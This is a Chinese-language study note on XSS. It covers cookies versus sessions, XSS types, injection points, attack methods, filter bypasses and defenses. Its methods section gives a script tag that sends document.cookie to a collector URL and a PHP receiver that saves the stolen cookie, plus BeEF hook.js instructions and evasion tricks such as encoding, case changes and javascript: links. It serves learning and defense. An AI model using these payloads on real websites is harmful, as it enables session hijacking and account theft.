cookie session
cookie:用户凭据,通过凭据可以判断对方身份信息,存储在本地,存活时间较长 适用于小中型网络(例如常见的攻击:夺取cookie) session:会话,存储在服务器上,存活时间短,适用于大型网站(例如常见攻击:会话劫持)
原理
有输出函数出现的地方,例如echo printf可以输出自己能够控制的值,就可能会存在xss,有数据交互的地方,前端接收数据在后台就会存在xss漏洞的可能。输出的内容换成js代码,在前端执行的时候会被当作js的代码执行 数据在传输时将传输的数据写成js脚本类似的代码,代码可以被浏览器执行
存在漏洞的可能出现地方
有数据交互的地方,并且管理员会对提交的数据进行查看,前端接收数据在后台就会存在xss漏洞的可能.如果在前端输入的是纯数字,那可能会对代码进行过滤,当时输入的不仅限于数字时,就存在xss漏洞的可能 留言板 评论区 订单系统 反馈条件
分类
反射型
也叫非持续型,对反射型进行漏洞攻击的时候,这个攻击不会储存在对方的服务器上,与后端进行交互,后端语言进行处理
存储型
也叫持续型,对储存型进行漏洞攻击的时候,这个攻击会储存在对方的服务器上,所以储存型漏洞会一直进行攻击,危害也比较大,与后端进行交互,后端语言进行处理
DOM型
会在本地静态前端代码执行,并且不会回显,例如有些网站翻页的时候,url后面的参数会+1,但是有些网站虽然翻页了,但是url不变,原因是执行了前端的js代码, 可以通过查看网站源代码来查看参数进行xss,例如url?text=<script>alert(1)</script>
手法
运用xss平台
使用xss平台新建项目,将生成的js代码写入到要进行xss攻击的网站,只要网站的后台管理员查看了这个代码,那这个cookie就会显示到xss平台上(xss平台是一个网页)
获取document.cookie代码
在网站上进行xss注入: <script src="http://127.0.0.1/gongji.php?c='+document.cookie+'"></script> 将定向的网站写入获取cookie的代码: gongji.php <?php $cookie=$_GET['c']; //c就是cookie,用get获得cookie $myfile=fopen("cookie.txt","w"); fwrite($myfile,$cookie); fclose($myfile); ?>
beef的使用
1,开启beef服务 beef-xss //在终端运行 2,登录beef管理页面 访问地址http://127.0.0.1:3000/ui/authentication 3,将要进行xss注入的语句在发送到网站上(类似留言板的地方) 语句beef会自动生成,一般都是<script src="http://<ip>:3000/hook.js"></script> 4,在beef的页面会有online Browsers和offline Browsers //online是值已经被xss的网站或服务器,就是已经执行过恶意代码了 //offline是执行过但是后来下线了 5,点击online中的浏览器,可以对他们进行一些攻击,例如使它们跳转到另外一个网站类似的, 模块在commands中,其中绿色模块:表示模块适用当前用户,并且执行结果对用户不可见;红色模块:表示模块不适用当前用户,有些红色模块也可以执行;橙色模块:模块可用,但结果对用户可见;灰色模块:模块为在目标浏览器上测试过
绕过
-
html的onclick属性
html onclick属性:当点击按钮时执行一段 JavaScript <button οnclick="copyText()">Copy Text</button> copyText()为javascript的代码,当点击相关的buttom时,会执行js代码
-
a标签执行javascript代码
当<a>标签调用JS中的代码时: <a href = ‘javascript:js_method()’>文本</a> js_method()为javascript代码 例如:a href = 'javascript:alert(1)‘>
-
编码绕过
可以将代码进行unicode的编码进行绕过
-
大小写
-
双写
-
主要过程
先测试是什么会被过滤,一个一个试,例如<或者>
-
标签语法替换
将>替换成‘
-
特殊符号干扰
# :可以利用#来进行绕过,可以用来注释 / :可以在被过滤的符号前面加入/。例如/href,因为/在javascript中的意思为前面的语句已经结束的意思,
-
提交方式更改
可以将get方式转换为post方式进行网站的访问
-
垃圾数据溢出
构造较长的payload使之产生垃圾数据
-
加密解密算法
将需要执行的javascrip代码进行加密然后再执行
防御
-
设置http-only
一般的Cookie都是从document对象中获得的,现在浏览器在设置 Cookie的时候一般都接受一个叫做HttpOnly的参数,跟domain等其他参数一样,一旦这个HttpOnly被设置,你在浏览器的 document对象中就看不到Cookie了,而浏览器在浏览的时候不受任何影响,因为Cookie会被放在浏览器头中发送出去(包括ajax的时 候),应用程序也一般不会在js里操作这些敏感Cookie的,对于一些敏感的Cookie我们采用HttpOnly,对于一些需要在应用程序中用js操作的cookie我们就不予设置,这样就保障了Cookie信息的安全也保证了应用。
-
对输入进行过滤,对输出进行编码,白名单和黑名单组合